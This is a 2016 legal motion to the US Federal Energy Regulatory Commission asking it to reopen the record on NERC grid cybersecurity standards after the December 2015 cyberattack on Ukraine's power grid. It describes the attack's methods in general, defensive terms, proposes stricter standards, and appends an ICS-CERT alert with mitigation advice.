UNITED STATES OF AMERICA
BEFORE THE
FEDERAL ENERGY REGULATORY COMMISSION

Revised Critical Infrastructure	**)**	**Docket No. RM15-14-000**
Protection Reliability Standards	**)**	**Docket No. RM15-14-001**

JOINT REQUEST AND MOTION OF FOUNDATION FOR RESILIENT SOCIETIES,
ISOLOGIC, LLC AND APPLIED CONTROL SOLUTIONS, LLC
FOR THE COMMISSION TO REOPEN THE EVIDENTIARY RECORD IN DOCKET RM15-14-000
AS AUTHORIZED BY FERC RULE 716

Submitted to FERC on March 29, 2016

Background

On December 23, 2015 a sophisticated cyberattack struck the Ukrainian electric grid, blacking out approximately 225,000 electricity customers. This well-executed attack took over grid operators' control stations, deleted data on hard drives, remotely opened circuit breakers at more than 120 electric substations, and damaged substation equipment necessary for rapid power restoration. Cybersecurity experts have long predicted, and demonstrated via the Aurora test at Idaho National Laboratory, that a cyberattack can cause a long-term grid blackout. Events in the Ukraine move the risk of deliberate cyberattack on critical infrastructure from a theoretical possibility to a demonstrated reality.[1]

In the United States, the electric utility industry and federal regulators have spent the past ten years constructing an elaborate system of cybersecurity standards, officially designated as Critical Infrastructure Protection (CIP) standards. The Ukraine blackout shows these standards are a false assurance, principally providing liability protection for utilities, but meager protection for the American public. In fact, if Ukraine's electric utilities had followed all of North America's standards for grid cybersecurity, the December cyberattack still would have

[1] See Industrial Control System Cyber Emergency Response Team of the U.S. Department of Homeland Security (ISC-CERT) Alert (ICS-ALERT-14-281-01E). "Ongoing Sophisticated Malware Campaign Compromising ICS (Update E)" issued February 25, 2016; and SANS Institute and Electricity Information Sharing and Analysis Center (E-ISAC) joint report, "The Analysis of the Cyber Attack on the Ukrainian Power Grid; Defense Use Case 5" issued March 18, 2016.

succeeded—a conclusion all the more troubling considering the BlackEnergy family of malware used as the cyber-weapon of choice in Ukraine is also pervasive in computer systems of North American utilities.[2]

On January 21, 2016, a regulator for the U.S. electric grid, the Federal Energy Regulatory Commission (FERC), approved the sixth round of cybersecurity standards developed by electric utilities representatives at their self-regulatory body, the North American Electric Reliability Corporation (NERC).[3] At the time of the FERC ruling, an investigation of the facts and circumstances of the Ukraine blackout by the Federal Bureau of Investigation, U.S. Department of Homeland Security, U.S. Department of Energy, and other federal agencies was ongoing, but FERC did not wait for the results of this investigation before ruling, 29 days after the Ukrainian blackout, that NERC's cybersecurity standards were "in the public interest."

The facts and circumstances of the Ukraine cyberattack and resulting blackout are now publicly available in official U.S. government documents, industry studies, and news articles. FERC would better serve "the public interest" by considering how stricter standards, developed with findings of the Ukraine cyberattack investigations in hand, could protect the American public from catastrophic blackout.

The Ukraine cyberattack demonstrated that significant load at the distribution or "low impact" level can be maliciously switched off nearly simultaneously, causing an imbalance with electricity supply—and potentially causing instability, uncontrolled separation, and cascading failures. The Ukraine cyberattack by a postulated Russian adversary thus exposes fundamental flaws in the core structure of NERC's cybersecurity standards. As proof closer to home, the April

[2] Professor W. A. Conkin, Director, Center for Information Security Research and Education, University of Houston, who testified before FERC (January 28, 2016) on extensive identification of BlackEnergy malware within the U.S. electric grid explained in his February 29, 2016 Forbes article, "Keeping the Lights On: Cybersecurity and the Grid", "Here in the U.S. as well as elsewhere, malicious malware has been found, waiting for a signal to cause damage. Our electric grid is now interconnected to the Internet, and all of the problems and issues we see with cyber criminals and cyber spies applies [sic] to the reliability of our grid. The same attack used in the Ukraine would not be stopped by our regulations, and it would be much harder for us to recover because of our greater dependency on interconnected automation."

[3] The Nuclear Regulatory Commission regulates cybersecurity standards for nuclear facilities, including critical dependencies for off-site power; these nuclear facilities are thus impacted by much of the discussion in this filing.

7, 2015 “low impact” distribution outage in Southern Maryland tripped off the Calvert Cliffs nuclear facility, causing a “high impact” cascading outage that blacked out the Capitol and White House. How do NERC cybersecurity standards protect America if these standards would allow a foreign adversary to cause a cascading outage for a major metropolitan area such as Washington D.C.?

We therefore request by Motion that FERC exercise the Commission’s authority under Rule 716 (18 CFR § 385.716) to reopen the evidentiary record for a 20-day public comment period to consider new evidence and analysis.[4] With new evidence, FERC can better determine whether a cyberattack such as demonstrated in Ukraine would place the U.S. Bulk Power System at risk of failure for “reliable operation,” specifically: “instability, uncontrolled separation, or cascading failures of such system … as a result of a sudden disturbance, including a cybersecurity incident, or unanticipated failure of system elements.”[5] Thereafter, the Commission should prudently determine whether issues raised in our Requests for Rehearing, timely filed on February 22, 2016,[6] should be reconsidered, and whether NERC’s proposed Version 5 and 6 cybersecurity standards should be remanded in whole or in part.

Legal Basis for Request to Reopen the Evidentiary Record

The Foundation for Resilient Societies (“Resilient Societies”), Isologic, LLC (“Isologic”), and Applied Control Solutions, LLC (“Applied Control Solutions”) assess that the existing system of NERC CIP standards will not reliably protect the United States from cascading outage caused by a cyberattack. On September 21, 2015, we filed comments in FERC Docket RM15-14-000 outlining our concerns with the Order 822 NOPR of July 16, 2015. In Order 822 issued on January 21, 2016, FERC put aside our concerns and instead approved another round of defective NERC CIP standards. Accordingly, Resilient Societies and Isologic timely filed Requests

[4] See highlights of “Timing of Key Events and Disclosures,” and “New Evidence and Its Importance for NERC CIP Standards,” at pp. 6-14 of this Request and Motion, infra.

[5] 16 U.S.C. 824o(a)(4).

[6] See filing of Isologic, LLC, and filing of Foundation for Resilient Societies, on February 22, 2016 in FERC Docket RM15-14-000.

for Rehearing of FERC Order No. 822[7] on February 22, 2016. However, our Requests for Rehearing did not have the benefit of new evidence made clear by investigations of the Ukraine cyberattack, because the results of investigations were released after February 22, 2016.

FERC Commission Rule 716 states:

> **§385.716 Reopening (Rule 716).**
>
> (a) General rule. To the extent permitted by law, the presiding officer or the Commission may, for good cause under paragraph (c) of this section, reopen the evidentiary record in a proceeding for the purpose of taking additional evidence.
>
> (b) By motion. (1) Any participant may file a motion to reopen the record.
>
> (2) Any motion to reopen must set forth clearly the facts sought to be proven and the reasons claimed to constitute grounds for reopening.
>
> (3) A participant who does not file an answer to any motion to reopen will be deemed to have waived any objection to the motion provided that no other participant has raised the same objection.
>
> (c) By action of the presiding officer or the Commission. If the presiding officer or the Commission, as appropriate, has reason to believe that reopening of a proceeding is warranted by any changes in conditions of fact or of law or by the public interest, the record in the proceeding may be reopened by the presiding officer before the initial or revised initial decision is served or by the Commission after the initial decision or, if appropriate, the revised initial decision is served.[8]

We make the first known request for FERC to reopen an electric reliability rulemaking docket under FERC Rule 716 since the Commission obtained authority over electric reliability standards in August 2005. We ask the Commission to recognize that the Ukrainian electric grid blackout of December 23, 2015 constitutes “extraordinary circumstances” and “good cause” to reopen the record due to “changes in conditions of fact or of law or by the public interest.”

[7] *Revised Critical Infrastructure Protection Reliability Standards*, Order No. 822, Jan.21, 2016, 81 F.R. 4177 (Jan. 26, 2016), 154 FERC ¶ 61,037. (Jan. 21, 2016).

[8] 18 C.F.R. sec. 385.716, FERC Order No. 225, 47 FR 19022, as amended by Order No. 375, 49 FR 21316, May 21, 1984.

On March 21, 2016, the Commission extended the time available to the Commission to consider our two Requests for Rehearing of FERC Order No. 822,[9] thereby providing on opportunity for the Commission to exercise its Rule 716. We also note that on February 25, 2016 the Commission granted a 91 day extension of time for electric utilities to implement the NERC CIP standards, Versions 5 and 6, from April 1, 2016 to July 1, 2016.[10]

We request that the Commission reopen the evidential record and also provide a 20 day public comment period during the 91 day extension of implementation time granted to the utility industry. It would be profoundly inequitable for the Commission to grant time extension in the interest of regulated utilities while denying consideration of new evidence in the public interest.

FERC previously identified necessary modifications of NERC CIP standards in its Order No. 822. Now these modifications should carry greater weight and urgency. Additionally, in Order No. 822 FERC stated:

> 57. With regard to Foundation's argument that the Commission should do more to promote grid security by mandating secure communications between all facilities of the bulk electric system, such as substations, the record in the immediate proceeding does not support such a broad requirement at this time. However, if in the future it becomes evident that such an action is warranted, the Commission may revisit the issue.[11]

We understand that only preliminary findings on the December 23rd Ukraine blackout were available when FERC put aside our request to mandate "secure communications between all facilities of the bulk electric system." In light of new evidence, we now ask FERC to reconsider this decision.[12]

[9] See Commission Order Granting Rehearings for Further Consideration, FERC Docket RM15-14-001, issued March 21, 2016.

[10] *Order Granting Extension of Time*, FERC Docket RM15-14-000, Feb. 25, 2016, 154 FERC ¶ 61,137. Per FERC Orders 791 (2013) and 822 (2016), the implementation deadline for "Low Impact" cyber systems of responsible entities was set for April 1, 2017.

[11] FERC Order No. 822, 154 FERC ¶ 61,037, para. 57 at p. 36.

[12] We ask that the Commission address issues timely raised in our two Requests for Rehearing dated February 22, 2016. Were the Commission to reopen the evidentiary docket, we would also request the Commission to address

Timing of Key Events and Disclosures

The timing of key events and disclosures is as follows:

- On July 16, 2015, FERC issued a Notice of Proposed Rulemaking (NOPR) in Docket RM15-14-000, proposing to approve seven Critical Infrastructure Protection (CIP) standards of the North American Electric Reliability Corporation (NERC), and also to secure control center communications and address supply chain risks.[13]

- On September 21, 2015, Resilient Societies and Isologic submitted comments in Docket RM15-14-000.

- On January 21, 2016, FERC issued Order 822 to approve the sixth round of cybersecurity standards developed by NERC.

- On January 28, 2016, FERC held a technical conference on supply chain risk management for the North American electric grid.

- On February 9, 2016, the North American Electric Reliability Corporation (NERC) issued an alert titled "Mitigating Adversarial Manipulation of Industrial Control System as Evidenced by Recent International Events." NERC did not release publicly the text of this alert.

- On February 22, 2016 both Resilient Societies and Isologic timely-filed Requests for Rehearing of Order No. 822 in Docket RM15-14-000.

- On February 25, 2016 the Industrial Control System Cyber Emergency Response Team of the U.S. Department of Homeland Security (ISC-CERT) issued and placed on its public

telecommunications vulnerabilities, including telephone call and email blockages at customer service centers that significantly reduced control center visibility during the December 2015 Ukrainian grid outages.

[13] 152 FERC ¶ 61,054, July 16, 2015, FERC Docket RM15-14-000.

website Alert (IR-ALERT-H-16-056-01), "Cyber-Attack against Ukrainian Critical Infrastructure." ("Ukraine Alert")[14]

- On February 29, 2016, Professor William Arthur Conklin published an article in *Forbes* entitled "Keeping the Lights On: Cybersecurity and the Grid."[15]

- On March 2, 2016 ICS-CERT issued Alert (ICS-ALERT-14-281-01E). "Ongoing Sophisticated Malware Campaign Compromising ICS (Update E)." This alert provided technical ("YARA") specifications for BlackEnergy 3, malware that has previously been attributed to Russian entities. This same malware was used to steal user credentials for Ukrainian control centers, providing access to and control over more than one hundred electric grid substations."[16]

- On March 3, 2016 *Wired* magazine released an article authored by Kim Zetter entitled "Inside the Cunning, Unprecedented Hack of Ukraine's Power Grid," containing additional attack details not earlier identified in the February 25, 2016 ICS-CERT Alert.[17]

- On March 18, 2016, the SANS Institute and Electricity Information Sharing and Analysis Center (E-ISAC) of NERC released a joint report, "The Analysis of the Cyber Attack on the Ukrainian Power Grid. Defense Use Case."[18]

[14] The ICS-CERT Alert IR-ALERT-H-16-056-01 of February 25, 2016 is reproduced in Appendix 1 of this Request to Reopen the Evidentiary Record.

[15] Conklin, W.A., "Keeping the Lights On: Cybersecurity and the Grid," *Forbes*, February 29, 2016, available online at http://www.forbes.com/sites/uhenergy/2016/02/29/keeping-the-lights-on-cybersecurity-and-the-grid/#238e192988e2. This copyrighted article is available at the *Forbes* website, and incorporated in its entirety in this filing, by reference and click-through access.

[16] The ICS-CERT Alert "ALERT (ICS-ALERT-14-281-01E),)" of March 2, 2016 is reproduced in Appendix 2. The Alert reads in part, "ICS-CERT strongly encourages asset owners and operators to look for signs of compromise within their control systems…Asset owners should not assume that their control systems are deployed securely, or that they are not operating with an Internet accessible configuration…"

[17] Zetter, Kim (2016), "Inside the Cunning, Unprecedented Hack of Ukraine's Power Grid," *Wired* magazine, March 3, 2016, available online at http://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. This copyrighted article is available at the *Wired* website, and incorporated in its entirety in this filing, by reference and click-through access.

New Evidence and Its Importance for NERC CIP Standards

The January 28, 2016 FERC technical conference on CIP Supply Chain Risk Management[19], the February 25, 2016 ICS-CERT Alert, the March 2, 2016 ICS-CERT Alert, the March 3, 2016 *Wired* magazine article, and the March 18, 2016 SANS/E-ISAC report contain new evidence relevant to the rulemaking of Docket RM15-14-000.

Below we enumerate significant new evidence and its importance in regard to NERC CIP standards. Where possible, we contrast the recommendations of ICS-CERT, a federal center of expertise within the U.S. Department of Homeland Security, with the deficient NERC cybersecurity standards:

1. **The Ukraine cyberattack disabled "low impact" assets that would be exempt from federal cybersecurity regulation in the United States**. The Ukraine cyberattack targeted distribution providers operating substations at 110 kilovolts and below. Distribution providers of this voltage in North America could come under legal authority of FERC and NERC as part of the Bulk Electric System (BES).[20] However, many distribution providers in North America are exempted from NERC cybersecurity requirements because they have only "low impact cyber assets." [21] [22] Further, it is well established that the vast majority of "low impact cyber asset" operators will also be exempted by not meeting "the 15-minute requirement" for impact on the Bulk Electric System. Effective standards should be based on grid-wide, regional, and local assessments of vulnerabilities and

[18] SANS Institute and Electricity Sharing and Analysis Center (E-ISAC) (2016), "Analysis of the Cyber Attack on the Ukrainian Power Grid," March 18, 2016, available online since March 21, 2016 at http://www.nerc.com/pa/CI/ESISAC/Documents/E-ISAC_SANS_Ukraine_DUC_18Mar2016.pdf. Note that this analysis is a Defense Use Case and avoids attack attribution to Russia. This document is incorporated in its entirely by reference and click-through access.

[19] The Technical Conference took place on January 28, 2016, but the FERC Transcript of the Technical Conference was only filed on the ferc.gov website on March 3, 2016, *after* the Feb. 22 deadline to file requests for rehearing.

[20] With rare exception, the NERC definition of the "Bulk Electric System" includes facilities operating at 100 kilovolts or above.

[21] See NERC CIP-002-5.1 — Cyber Security — BES Cyber System Categorization, p. 22. "Applicability to Distribution Providers. It is expected that only Distribution Providers that own or operate facilities that qualify in the Applicability section will be subject to these Version 5 Cyber Security Standards. Distribution Providers that do not own or operate any facility that qualifies are not subject to these standards."

[22] NERC CIP Version 5 and 6 standards for "low impact cyber assets" do not go into effect until April 1, 2017.

threats, not an artificial segmentation into "high," "medium," and "low" impact categories having only a theoretical impact on BES transmission and distribution facilities.[23]

2. **The Ukraine cyberattack demonstrated that malware can exist undetected and unremoved for long periods within electric grid facilities.** Post-attack forensics showed the presence of "BlackEnergy" malware within computer systems of the Ukrainian electric utilities installed up to six months earlier. A witness at the January 28, 2016 FERC technical conference, Professor William Arthur Conklin at the University of Houston, confirmed that BlackEnergy malware is pervasive within North American electric utilities. ICS-CERT Alert (ICS-ALERT-14-176-02A), "ICS Focused Malware (Update A)" issued in 2014 warned users of industrial control systems (ICS) of a multi-vector ICS Trojan (Havex),[24] almost certainly a precursor to BlackEnergy. Further, the May/June 2015 ICS-CERT Monitor (Incidents) Report summarized analysis of eight requested events from U.S. utilities that represented BlackEnergy penetrations, all eight firms had direct industrial control systems connections to the Internet. The ICS-CERT Alert "(ICS-ALERT-14-281-01E)" of March 2, 2016 also identifies BlackEnergy malware as being present in energy control systems within North America and helpfully provides the malware signatures on the latest versions, BlackEnergy 2 and 3. However, none of the NERC CIP standards require removal of BlackEnergy malware, or any other malware, even when the signature has been identified by the federal government. In fact, there is no requirement to identify malware in non-Bulk Electric System applications, such as business systems that store user credentials. Even for malware in Bulk Electric System equipment, notification of detection is not required until after-the-fact investigation.[25]

[23] The ability of an attacker to remotely open and close distribution substation relays could also enable an Aurora attack, damaging critical equipment and impacting critical facilities such as U.S. Department of Defense installations.

[24]" ICS-CERT is analyzing malware and artifacts associated with an ICS focused malware campaign that uses multiple vectors for infection. These include phishing emails, redirects to compromised web sites and most recently, trojanized update installers on at least 3 industrial control systems (ICS) vendor web sites, in what are referred to as watering hole-style attacks."

[25] NERC CIP-007-5, Table R4 –Security Event Monitoring

And despite the fact that network security monitoring is encouraged, a recent NERC Lessons Learned[26] states, “Entities running workstations that are remote Energy Management System (EMS)/Supervisory Control and Data Acquisition (SCADA) servers should prioritize network traffic such that situational awareness traffic is prioritized over other network traffic, such as cybersecurity logging traffic.”

3. **The Ukraine cyberattack demonstrated that malware can steal user credentials.** The SANS Institute report concluded that BlackEnergy malware was used to compromise user credentials for a period of up to six months before the attack. Again, none of the NERC CIP standards requires removal of BlackEnergy malware, or any other malware.

4. **The Ukraine cyberattack demonstrated that attackers can enter business systems by means of the public Internet and then pivot into control systems.** As the SANS Institute report makes clear, attackers first penetrated the business systems of Ukrainian utilities and then breached firewalls between business systems and control systems. This breach occurred because attackers compromised user credentials stored in the business systems. The NERC CIP standards depend on firewalls to isolate business systems from control systems, and to isolate control systems from the public Internet. In contrast, ICS-CERT recommends in its Ukraine Alert, “Organizations should isolate ICS networks from any untrusted networks, especially the Internet.” The Ukraine cyberattack shows firewalls can be circumvented.

5. **The Ukraine cyberattack showed how stolen user credentials can be used in conjunction with Remote Access to capture the Human Machine Interface (HMI) of control systems.** NERC CIP standards allow Remote Access to control systems based solely on user credentials such as passwords.[27] Moreover, the system of NERC CIP standards does not require one-way communication to prevent unauthorized Remote Access. In contrast, ICS-CERT recommends in its Ukraine Alert, “Organizations should

[26] NERC Lessons Learned 20151202

[27] See NERC Standard CIP-005-5 Table R2 – Interactive Remote Access Management.

also limit Remote Access functionality wherever possible. Modems are especially insecure. Users should implement 'monitoring only' access that is enforced by data diodes, and do not rely on 'read only' access enforced by software configurations or permissions."

6. **The Ukraine cyberattack used "KillDisk" malware to delete hard drive data and complicate system restoration.** NERC CIP standards do not require Application Whitelisting that would prevent malware from being imported in vendor systems or otherwise compromising computer systems. In contrast, ICS-CERT recommends in its Ukraine Alert, "Application Whitelisting (AWL) can detect and prevent attempted execution of malware uploaded by malicious actors."

7. **The Ukraine cyberattack showed how stolen user credentials can be used to penetrate Virtual Private Networks (VPN) used for grid communication.** The Ukraine attack makes clear that VPNs by themselves are not an adequate method for securing electric grid communications, because the VPN credentials can be improperly protected. In any case, the current NERC CIP standards do not require encrypted communications, by VPN or otherwise. FERC Order 822 proposes encrypted communications among control centers, but not between control centers and substations, and not between vendors and grid equipment with unsecured maintenance carried out by Remote Access.

8. **The Ukraine cyberattack included attacks through communications to substations, specifically attacks on substation equipment such as Serial-to-Ethernet devices and Uninterruptible Power Supplies.** The current system of NERC CIP standards has no requirement to secure communications to and from substations.[28] Resilient Societies and Isologic requested in their September 2015 comments on Docket RM15-14-00 that

[28] In Order 822 the Commission claimed that the record, which closed before the December 23rd Ukrainian cyberattacks did not warrant protection of communications with substations. Two of the three provincial Ukrainian utilities had remote opening of circuit breakers at 80 and 23 substations, respectively. In Para. 57 of Order 822, quoted *supra*, the Commission expressed willingness to reconsider cyber protection of communications with electric substations if evidence warrants.

FERC require substation communications to be encrypted and otherwise secured, but FERC put aside this request in Order 822.

9. **The Ukraine cyberattack exploited Remote Access to take over diverse substation equipment such as Serial-to-Ethernet converters and Uninterruptible Power Supplies.** The system of NERC CIP standards allows Remote Access based on user credentials, including user credentials held by third parties such as equipment vendors. Compromise of security for a single equipment vendor with high share of installed equipment can affect hundreds of utilities and thousands of critical facilities. ICS-CERT recommends in its Ukraine Alert, "Organizations should also limit Remote Access functionality wherever possible. Modems are especially insecure. Users should implement 'monitoring only' access that is enforced by data diodes, and should not rely on 'read only' access enforced by software configurations or permissions."

10. **The Ukraine cyberattack penetrated protective firewalls.** Cyber-protection within NERC CIP standards depends almost entirely on an unusual security construct known as "Electronic Security Perimeters" and "Electronic Access Points." These electronic barriers are often implemented using cybersecurity firewalls.[29] However, "low-impact" assets under NERC CIP standards are exempt from firewall protection. Under NERC CIP standards, all assets—even "high-impact assets"—are exempt from more secure "air-gapping." In contrast, ICS-CERT recommends in its Ukraine Alert, "Organizations should isolate ICS networks from any untrusted networks, especially the Internet."

11. **The Ukraine cyberattack exploited supply chain vulnerabilities such as remote updating of equipment firmware.** As part of the Ukraine cyberattack, firmware within Serial-to-Ethernet devices at substations was remotely overwritten to prevent substation breakers from being operated from the control center, a supply chain

[29] When developing its CIP standards, NERC chose to use terminology and protections distinct from accepted cybersecurity practice. In accepted terminology, "Electronic Security Perimeters" are known as "trust boundaries." In accepted cybersecurity practice, "Electronic Access Points" would commonly be "firewalls." In NERC practice, Electronic Access Points may have weaker protection than hardware firewalls, such as logical protection.

vulnerability. An attack such as this "burns the bridges" and prevents quick system restoration—because for power restoration, personnel must travel to the substation for manual operation of the breakers. The system of NERC CIP standards has no requirements to protect against supply chain vulnerabilities, nor are any supply chain standards planned for the foreseeable future. Furthermore, witnesses at the FERC Supply Chain Technical Conference of January 28, 2016 almost universally rejected supply chain standards as being necessary, despite overwhelming evidence of supply chain penetrations of the North American Bulk Power System as early as 2014.

12. **The Ukraine cyberattack demonstrated that substation breakers can be operated through cyberattack.** A 2007 test by Idaho National Laboratory proved that rapid out-of-phase switching of substation breakers can destroy Alternating Current (AC) rotating equipment attached to the grid, such as generators and motors, and also send impulses into transformers—the so-called "Aurora Vulnerability."[30] While there was some damage inflicted on the Ukrainian systems for tactical reasons, the attackers chose not to deliberately damage generators, transformers, and other major grid components—an "Aurora" attack. But there is no NERC standard that requires installation of equipment to protect against the Aurora Vulnerability; the only suggestion by NERC is for utilities to report their status every six months.[31]

13. **The Ukraine cyberattack demonstrated feasibility of a Denial-of-Service attack on public telephone networks.** In Ukraine, thousands of calls flooded customer service centers, preventing electricity consumers from reporting outages and reducing control center visibility. Call center logs revealed that this flooding attack was exercised from Moscow-area telephone numbers demonstrating a significant, new attack vector on "situational awareness." Because consumers commonly use the telephone to report

[30] See Joseph Weiss, *Protecting Industrial Control Systems from Electronic Threats*, Momentum Press, 2010, pp. 105-106; Salmon, Zeller, et al., "Mitigating the Aurora Vulnerability with Existing Technology," 64th Annual Georgia Tech Protective Relaying Conf., Atlanta, May 5-7, 2010; and Mark Zeller, "Myth or Reality – Does the Aurora Vulnerability Pose a Risk to My Generator?" Texas A & M Conf. for Protective Relay Engineers, IEEE, 2011.

[31] NERC– Recommendation to Industry, Aurora Mitigation – Protection and Control Engineering Practices and Electronic and Physical Security Mitigation Measures, October 13, 2010.

> outages in North America, the same vulnerability is present here. Moreover, had thousands of telephone calls flooded control center phone lines within North America, operational communications could have been impacted, because the North American electric grid is highly dependent on the public switched telephone network (PSTN) a system increasingly interdependent with the Internet. There is no NERC standard that requires backup communication methods beyond commercial telecommunications providers.

In summary, the Ukraine cyberattack brings forth new evidence that conclusively demonstrates that the NERC cybersecurity standards will not protect against sophisticated cyberattacks. In fact, if Ukraine electric utilities had been 100 percent compliant with the NERC Critical Infrastructure Protection standards, these standards would not have prevented the December blackout. The U.S. Government should take little comfort in the attack's focus on "low impact" distribution facilities and consumer service centers. This cyberattack was tailored to the electric grid structure and vulnerabilities of Ukraine—*but we have not yet seen the best the Russians can do in information warfare against the United States*.

Necessity for Further FERC Consideration

NERC has announced its intent to make no modifications to its system of cybersecurity standards as a result of the Ukraine cyberattack. In its press release for the February 9, 2016 alert, NERC stated, ***"There is no credible evidence that the incident could affect North American grid operations and no plans to modify existing regulations or guidance based on this incident."*** *(Emphasis added).*

Because of NERC's apparent intransigence and denial in the face of ample new evidence, if the American public is to be protected from cyberattack such as the recent one in Ukraine, FERC should issue either a *sua sponte* order to NERC, or a partial remand of the Version 5 and 6 CIP standards, or both.

Requested Findings In Light of a Reopened Evidentiary Record

FERC may issue a *sua sponte* order to NERC for further modifications to the NERC system of CIP standards, consistent with new evidence made clear by the Ukraine cyberattack and the recommendations of ICS-CERT resulting from this incident. Modifications to NERC CIP standards, whether by remand or by *sua sponte* order, could include:

1. Elimination of the arbitrary categories of "high-impact," "mid-impact," and "low-impact" cyber assets and establishment of a single secure system for cyberprotection keyed to real vulnerabilities and threats.

2. Requirements for two-factor authentication for control system operators, including operators physically present in the control room.

3. Requirements that prohibit Remote Access to Human Machine Interfaces for control system operators, even with multi-factor authentication.

4. Physical isolation or "air-gapping" between business systems and control systems.

5. Physical isolation or "air-gapping" between the public Internet and control systems.

6. Prohibition on using the public Internet for communications between control centers and substations.

7. Prohibition of Remote Access to substation equipment by non-secure connection to the public Internet.

8. Mandatory removal of malware detected by NERC responsible entities and malware signatures reported by ICS-CERT.

9. Protection of communication networks used for the Bulk Power System against cybersecurity incidents, including communications with substations.

10. Hardware protection of substation and customer equipment from rapid switching of breakers, the so-called "Aurora Vulnerability."

11. Supply chain certification by vendor or third party experts that prevents unauthorized Remote Access to control room and substation equipment.

12. Application Whitelisting.

13. Implementation of an operational cybersecurity capability within the Regional Entities and Reliability Coordinators of the North American grid for attack recognition, response, and grid-wide situational awareness.

Conclusions

In order to protect the public interest and ensure the reliability of the Bulk Power System, Resilient Societies, Isologic, and Applied Control Solutions respectfully request that the Commission approve this Request to Reopen the Evidentiary Record with an authorized 20-day comment period, and make further findings for modifications to NERC CIP standards as appropriate. America cannot have its grid operators staring helplessly at their screens while computer cursors controlled from another country click off power supply checkboxes, as happened in Ukraine.

Respectfully submitted by:

Thomas R. Popik

Thomas S. Popik, Chairman
thomasp@resilientsocieties.org

Wm. R. Harris

William R. Harris, Secretary,
williamh@resilientsocieties.org
for the
Foundation for Resilient Societies
52 Technology Way
Nashua, NH 03060-3245
www.resilientsocieties.org

George R. Cotter

George R. Cotter
For Isologic LLC
193 Southdown Rd.
Edgewater, MD 21037-1622

Joe Weiss

Joseph M. Weiss, PE, CISM, CRISC
Managing Partner, Applied Control Solutions, LLC
Managing Director ISA67, ISA99
10029 Oakland Place
Cupertino, CA 95014
Joe.weiss@realtimeacs.com

Appendix 1

Alert (IR-ALERT-H-16-056-01)

Cyber-Attack Against Ukrainian Critical Infrastructure

Original release date: February 25, 2016

Legal Notice

All information products included in http://ics-cert.us-cert.gov are provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. DHS does not endorse any commercial product or service, referenced in this product or otherwise. Further dissemination of this product is governed by the Traffic Light Protocol (TLP) marking in the header. For more information about TLP, see http://www.us-cert.gov/tlp/.

SUMMARY

On December 23, 2015, Ukrainian power companies experienced unscheduled power outages impacting a large number of customers in Ukraine. In addition, there have also been reports of malware found in Ukrainian companies in a variety of critical infrastructure sectors. Public reports indicate that the BlackEnergy (BE) malware was discovered on the companies' computer networks, however it is important to note that the role of BE in this event remains unknown pending further technical analysis.

An interagency team comprised of representatives from the National Cybersecurity and Communications Integration Center (NCCIC)/Industrial Control Systems Cyber Emergency Response Team (ICS-CERT), U.S. Computer Emergency Readiness Team (US-CERT), Department of Energy, Federal Bureau of Investigation, and the North American Electric Reliability Corporation traveled to Ukraine to collaborate and gain more insight. The Ukrainian government worked closely and openly with the U.S. team and shared information to help prevent future cyber-attacks.

This report provides an account of the events that took place based on interviews with company personnel. This report is being shared for situational awareness and network defense purposes. ICS-CERT strongly encourages organizations across all sectors to review and employ the mitigation strategies listed below.

Additional information on this incident including technical indicators can be found in the TLP GREEN alert (IR-ALERT-H-16-043-01P and subsequent updates) that was released to the US-CERT secure portal. US critical infrastructure asset owners and operators can request access to this information by emailing ics-cert@hq.dhs.gov(link sends e-mail).

DETAILS

The following account of events is based on the interagency team's interviews with operations and information technology staff and leadership at six Ukrainian organizations with first-hand experience of the event. Following these discussions and interviews, the team assesses that the outages experienced on December 23, 2015, were caused by external cyber-attackers. The team was not able to independently review technical evidence of the cyber-attack; however, a significant number of independent reports from the team's interviews as well as documentary findings corroborate the events as outlined below.

Through interviews with impacted entities, the team learned that power outages were caused by remote cyber intrusions at three regional electric power distribution companies (Oblenergos) impacting approximately 225,000 customers. While power has been restored, all the impacted Oblenergos continue to run under constrained operations. In addition, three other organizations, some from other critical infrastructure sectors, were also intruded upon but did not experience operational impacts.

The cyber-attack was reportedly synchronized and coordinated, probably following extensive reconnaissance of the victim networks. According to company personnel, the cyber-attacks at each company occurred within 30 minutes of each other and impacted multiple central and regional facilities. During the cyber-attacks, malicious remote operation of the breakers was conducted by multiple external humans using either existing remote administration tools at the operating system level or remote industrial control system (ICS) client software via virtual private network (VPN) connections. The companies believe that the actors acquired legitimate credentials prior to the cyber-attack to facilitate remote access.

All three companies indicated that the actors wiped some systems by executing the KillDisk malware at the conclusion of the cyber-attack. The KillDisk malware erases selected files on target systems and corrupts the master boot record, rendering systems inoperable. It was further reported that in at least one instance, Windows-based human-machine interfaces (HMIs) embedded in remote terminal units were also overwritten with KillDisk. The actors also rendered Serial-to-Ethernet devices at substations inoperable by corrupting their firmware. In addition, the actors reportedly scheduled disconnects for server Uninterruptable Power Supplies (UPS) via the UPS remote management interface. The team assesses that these actions were done in an attempt to interfere with expected restoration efforts.

Each company also reported that they had been infected with BlackEnergy malware however we do not know whether the malware played a role in the cyber-attacks. The malware was reportedly delivered via spear phishing emails with malicious Microsoft Office attachments. It is suspected that BlackEnergy may have been used as an initial access vector to acquire legitimate credentials; however, this information is still being evaluated. It is important to underscore that any remote access Trojan could have been used and none of BlackEnergy's specific capabilities were reportedly leveraged.

MITIGATION

The first, most important step in cybersecurity is implementation of information resources management best practices. Key examples include: procurement and licensing of trusted hardware and software systems; knowing who and what is on your network through hardware and software asset management automation; on time patching of systems; and strategic technology refresh.

Organizations should develop and exercise contingency plans that allow for the safe operation or shutdown of operational processes in the event that their ICS is breached. These plans should include the assumption that the ICS is actively working counter to the safe operation of the process.

ICS-CERT recommends that asset owners take defensive measures by leveraging best practices to minimize the risk from similar malicious cyber activity.

Application Whitelisting (AWL) can detect and prevent attempted execution of malware uploaded by malicious actors. The static nature of some systems, such as database servers and HMI computers, make these ideal candidates to run AWL. Operators are encouraged to work with their vendors to baseline and calibrate AWL deployments.[a]

Organizations should isolate ICS networks from any untrusted networks, especially the Internet. All unused ports should be locked down and all unused services turned off. If a defined business requirement or control function exists, only allow real-time connectivity to external networks. If one-way communication can accomplish a task, use optical separation (“data diode”). If bidirectional communication is necessary, then use a single open port over a restricted network path.[a]

